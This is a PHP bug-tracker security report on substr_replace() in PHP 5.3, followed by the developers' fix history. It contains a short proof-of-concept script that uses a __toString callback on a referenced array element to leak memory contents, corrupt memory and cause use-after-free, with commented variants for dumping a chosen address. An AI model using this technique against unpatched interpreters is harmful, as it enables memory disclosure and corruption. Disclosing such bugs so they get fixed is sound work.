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Sec Bug #55871 Interruption in substr_replace()
Submitted: 2011-10-08 09:38 UTC Modified: 2015-04-26 12:52 UTC
From: worawita at gmail dot com Assigned: stas
Status: Closed Package: Strings related
PHP Version: 5.3 OS: *
Private report: No CVE-ID:
 [2011-10-08 09:38 UTC] worawita at gmail dot com
Description:
------------
substr_replace() function can be interrupted and used for information leakage/memory corruption/use-after-free(>=5.3.7) due to pass by reference in array.
The below test script causes "Segmentation Fault" in PHP with Suhosin patch.

Test script:
---------------
<?php

class dummy {
	public function __toString() {
		//$GLOBALS['my_var'] += 0x08048000; // dump memory at 0x08048000
		//$GLOBALS['my_var'] .= 'AAAAAAAA'; // memory corruption
		preg_match('//', '', $GLOBALS['my_var']); // dump HashTable data (and use-after-free in >=5.3.7)
		return '';
	}
}

$my_var = str_repeat('A', 40);
$out = substr_replace(array(&$my_var), array(new dummy), 40, 0);
var_dump($out);

Expected result:
----------------
array(1) {
  [0]=>
  string(40) "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}

Actual result:
--------------
array(1) {
  [0]=>
  string(40)       ☺   ☺ ≥ò≥ò≥ò☻└±ò☻@δKk  ☺t"
}

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History

AllCommentsChangesGit/SVN commitsRelated reports
 [2012-01-02 00:47 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2012-01-02 00:47 UTC] stas@php.net
This bug has been fixed in SVN.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2012-01-09 13:30 UTC] worawita at gmail dot com
still not be fixed in 5.3 branch
 [2012-03-13 07:26 UTC] stas@php.net
-Status: Closed +Status: Re-Opened -PHP Version: Irrelevant +PHP Version: 5.3
 [2012-04-18 09:46 UTC] laruence@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e2a2ed348f6a238c1e43eb01e2e0aa5a70b217c2
Log: fix bug #55871 - Interruption in substr_replace()
 [2012-05-13 15:13 UTC] felipe@php.net
-Status: Re-Opened +Status: Assigned -Private report: No +Private report: Yes
 [2012-07-04 11:37 UTC] felipe@php.net
-Status: Assigned +Status: Closed
 [2012-07-04 11:37 UTC] felipe@php.net
This bug has been fixed in SVN.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

Closing.
 
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